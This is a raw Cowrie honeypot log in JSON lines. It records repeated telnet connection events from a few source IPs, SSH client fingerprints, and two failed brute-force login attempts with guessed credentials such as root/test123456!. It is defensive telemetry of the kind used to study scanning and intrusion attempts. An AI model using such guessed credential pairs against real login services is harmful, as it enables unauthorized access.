{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5b79559260","protocol":"telnet","message":"New connection: 174.142.104.49:54866 (159.203.135.109:23) [session: 9f5b79559260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:09.647555Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43072,"dst_ip":"159.203.135.109","dst_port":23,"session":"5234f31dbfce","protocol":"telnet","message":"New connection: 174.142.104.49:43072 (159.203.135.109:23) [session: 5234f31dbfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:09.897583Z"}
{"eventid":"cowrie.session.closed","duration":30.734442472457886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:10.454536Z","src_ip":"174.142.104.49","session":"98853d7e6181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57242,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9930783107f","protocol":"telnet","message":"New connection: 104.245.105.2:57242 (10.17.0.5:23) [session: f9930783107f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:10.648914Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56768,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c15e6af892","protocol":"telnet","message":"New connection: 174.142.104.49:56768 (159.203.135.109:23) [session: 53c15e6af892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:10.676425Z"}
{"eventid":"cowrie.session.closed","duration":53.89486336708069,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:11.111673Z","src_ip":"174.142.104.49","session":"69402c2f6bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211304903030396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:11.700934Z","src_ip":"174.142.104.49","session":"9824e495a8ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60592,"dst_ip":"159.203.135.109","dst_port":23,"session":"3718b0bd20e1","protocol":"telnet","message":"New connection: 174.142.104.49:60592 (159.203.135.109:23) [session: 3718b0bd20e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:11.753925Z"}
{"eventid":"cowrie.session.closed","duration":0.007561206817626953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:11.761378Z","src_ip":"174.142.104.49","session":"3718b0bd20e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13134002685547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:12.350949Z","src_ip":"174.142.104.49","session":"8bc17aee5b5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60226,"dst_ip":"159.203.135.109","dst_port":23,"session":"35f2a821ecbc","protocol":"telnet","message":"New connection: 174.142.104.49:60226 (159.203.135.109:23) [session: 35f2a821ecbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:12.686631Z"}
{"eventid":"cowrie.session.closed","duration":30.966716766357422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:13.112264Z","src_ip":"174.142.104.49","session":"32ddebc035fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.25964736938477,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:13.840747Z","src_ip":"174.142.104.49","session":"96d103f2b6cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34619903564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:14.241404Z","src_ip":"161.132.53.68","session":"ed71ed4ee6ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.260008335113525,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:14.757456Z","src_ip":"174.142.104.49","session":"e11002e65ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":52284,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c094d94dcad","protocol":"ssh","message":"New connection: 165.154.6.69:52284 (159.203.135.109:22) [session: 8c094d94dcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:14.790234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:14.794315Z","src_ip":"165.154.6.69","session":"8c094d94dcad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60696,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c4794fbdf6","protocol":"telnet","message":"New connection: 174.142.104.49:60696 (159.203.135.109:23) [session: a1c4794fbdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:14.985709Z"}
{"eventid":"cowrie.session.closed","duration":31.070695638656616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:15.002399Z","src_ip":"174.142.104.49","session":"2970666e8b78","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:15.012640Z","src_ip":"165.154.6.69","session":"8c094d94dcad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.52113223075867,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:15.074654Z","src_ip":"174.142.104.49","session":"f802e4f0b366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66877555847168,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:15.616826Z","src_ip":"161.132.53.68","session":"301cfaf76871","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1qazxsw2","message":"login attempt [testuser/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:15.901404Z","src_ip":"165.154.6.69","session":"8c094d94dcad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37054,"dst_ip":"159.203.135.109","dst_port":23,"session":"5454523455a7","protocol":"telnet","message":"New connection: 174.142.104.49:37054 (159.203.135.109:23) [session: 5454523455a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:16.542099Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39286,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8bbfa52bf3b","protocol":"telnet","message":"New connection: 174.142.104.49:39286 (159.203.135.109:23) [session: c8bbfa52bf3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:16.777350Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60330,"dst_ip":"159.203.135.109","dst_port":23,"session":"c83b257a07db","protocol":"telnet","message":"New connection: 174.142.104.49:60330 (159.203.135.109:23) [session: c83b257a07db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:16.782302Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34062,"dst_ip":"159.203.135.109","dst_port":23,"session":"872aaf8084ee","protocol":"telnet","message":"New connection: 174.142.104.49:34062 (159.203.135.109:23) [session: 872aaf8084ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:16.820587Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:17.119082Z","src_ip":"165.154.6.69","session":"8c094d94dcad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23540997505188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:17.600735Z","src_ip":"174.142.104.49","session":"4f8156f235b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40846,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d1c042bd99e","protocol":"telnet","message":"New connection: 174.142.104.49:40846 (159.203.135.109:23) [session: 8d1c042bd99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:17.687809Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39904,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf2b0cdcffb","protocol":"telnet","message":"New connection: 174.142.104.49:39904 (159.203.135.109:23) [session: dbf2b0cdcffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:18.149902Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40370,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed12cf82e52","protocol":"telnet","message":"New connection: 174.142.104.49:40370 (159.203.135.109:23) [session: 6ed12cf82e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:18.473630Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56284,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b0af5f61c12","protocol":"telnet","message":"New connection: 161.132.53.68:56284 (159.203.135.109:23) [session: 5b0af5f61c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:18.678078Z"}
{"eventid":"cowrie.session.closed","duration":32.69625639915466,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:19.615628Z","src_ip":"161.132.53.68","session":"d5ebb12c53ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.833942651748657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:19.846284Z","src_ip":"161.132.53.68","session":"ac8d55093c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44650,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb6883eb6df8","protocol":"telnet","message":"New connection: 174.142.104.49:44650 (159.203.135.109:23) [session: eb6883eb6df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:19.881533Z"}
{"eventid":"cowrie.session.closed","duration":31.379212379455566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:20.005168Z","src_ip":"174.142.104.49","session":"95e5a34e4fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39616,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b4d2cbf5b19","protocol":"telnet","message":"New connection: 174.142.104.49:39616 (159.203.135.109:23) [session: 6b4d2cbf5b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:20.011635Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42858,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1e1d37acc5","protocol":"telnet","message":"New connection: 174.142.104.49:42858 (159.203.135.109:23) [session: 2c1e1d37acc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:21.835733Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46122,"dst_ip":"159.203.135.109","dst_port":23,"session":"08b409f93c9c","protocol":"telnet","message":"New connection: 174.142.104.49:46122 (159.203.135.109:23) [session: 08b409f93c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:21.843520Z"}
{"eventid":"cowrie.session.closed","duration":84.68458223342896,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:22.246641Z","src_ip":"174.142.104.49","session":"df5dfb6fa071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48864,"dst_ip":"159.203.135.109","dst_port":23,"session":"789b35172196","protocol":"telnet","message":"New connection: 174.142.104.49:48864 (159.203.135.109:23) [session: 789b35172196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:22.431413Z"}
{"eventid":"cowrie.session.closed","duration":30.42359232902527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:22.497040Z","src_ip":"174.142.104.49","session":"925b43523b94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":56920,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd42c7a51888","protocol":"ssh","message":"New connection: 200.105.172.184:56920 (159.203.135.109:22) [session: fd42c7a51888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:23.636854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:23.640984Z","src_ip":"200.105.172.184","session":"fd42c7a51888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:23.758763Z","src_ip":"200.105.172.184","session":"fd42c7a51888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50316,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e29f25ca79","protocol":"telnet","message":"New connection: 174.142.104.49:50316 (159.203.135.109:23) [session: d5e29f25ca79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:24.150311Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123456!","message":"login attempt [root/test123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:24.264673Z","src_ip":"200.105.172.184","session":"fd42c7a51888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50112,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1224213667","protocol":"telnet","message":"New connection: 174.142.104.49:50112 (159.203.135.109:23) [session: 5d1224213667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:25.065550Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52050,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e21b34d48dc","protocol":"telnet","message":"New connection: 174.142.104.49:52050 (159.203.135.109:23) [session: 1e21b34d48dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:25.177009Z"}
{"eventid":"cowrie.session.closed","duration":30.90809392929077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:25.378729Z","src_ip":"174.142.104.49","session":"a82261e4bdb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:25.385128Z","src_ip":"200.105.172.184","session":"fd42c7a51888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54854,"dst_ip":"159.203.135.109","dst_port":23,"session":"69346c1bff0c","protocol":"telnet","message":"New connection: 174.142.104.49:54854 (159.203.135.109:23) [session: 69346c1bff0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:25.723603Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55944,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0ecc8c3f5e","protocol":"telnet","message":"New connection: 174.142.104.49:55944 (159.203.135.109:23) [session: 9c0ecc8c3f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:26.210161Z"}
{"eventid":"cowrie.session.closed","duration":30.416266918182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:26.257750Z","src_ip":"161.132.53.68","session":"5c0a9cb7ee89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.437796592712402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:26.319427Z","src_ip":"174.142.104.49","session":"05263b9041fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39082,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e3b1da2d2c","protocol":"telnet","message":"New connection: 161.132.53.68:39082 (159.203.135.109:23) [session: e7e3b1da2d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:28.104679Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58708,"dst_ip":"159.203.135.109","dst_port":23,"session":"954576e2a26b","protocol":"telnet","message":"New connection: 174.142.104.49:58708 (159.203.135.109:23) [session: 954576e2a26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:28.710971Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34154,"dst_ip":"159.203.135.109","dst_port":23,"session":"61460cafa520","protocol":"telnet","message":"New connection: 174.142.104.49:34154 (159.203.135.109:23) [session: 61460cafa520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:29.761274Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34278,"dst_ip":"159.203.135.109","dst_port":23,"session":"70d3fc660c13","protocol":"telnet","message":"New connection: 174.142.104.49:34278 (159.203.135.109:23) [session: 70d3fc660c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:29.841073Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57988,"dst_ip":"10.17.0.5","dst_port":23,"session":"537b12fd39a7","protocol":"telnet","message":"New connection: 104.245.105.2:57988 (10.17.0.5:23) [session: 537b12fd39a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:30.419697Z"}
{"eventid":"cowrie.session.closed","duration":30.60148596763611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:30.484071Z","src_ip":"174.142.104.49","session":"afded1d9c234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085092306137085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:31.095569Z","src_ip":"174.142.104.49","session":"57b26859e52e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35070,"dst_ip":"159.203.135.109","dst_port":23,"session":"75237a222a54","protocol":"telnet","message":"New connection: 174.142.104.49:35070 (159.203.135.109:23) [session: 75237a222a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:31.325800Z"}
{"eventid":"cowrie.session.closed","duration":31.138079166412354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:31.753992Z","src_ip":"174.142.104.49","session":"7671c1f197b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.955231189727783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:31.977869Z","src_ip":"161.132.53.68","session":"205bce02b591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39124,"dst_ip":"159.203.135.109","dst_port":23,"session":"abfc1988b3b2","protocol":"telnet","message":"New connection: 174.142.104.49:39124 (159.203.135.109:23) [session: abfc1988b3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:32.775466Z"}
{"eventid":"cowrie.session.closed","duration":30.493316411972046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:33.316178Z","src_ip":"174.142.104.49","session":"7c70fb6c9fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78114914894104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:33.341340Z","src_ip":"161.132.53.68","session":"f87b78fc178c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39214,"dst_ip":"159.203.135.109","dst_port":23,"session":"396dfa9484e2","protocol":"telnet","message":"New connection: 174.142.104.49:39214 (159.203.135.109:23) [session: 396dfa9484e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:33.817706Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41274,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e4e213a783","protocol":"telnet","message":"New connection: 174.142.104.49:41274 (159.203.135.109:23) [session: 73e4e213a783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:33.968989Z"}
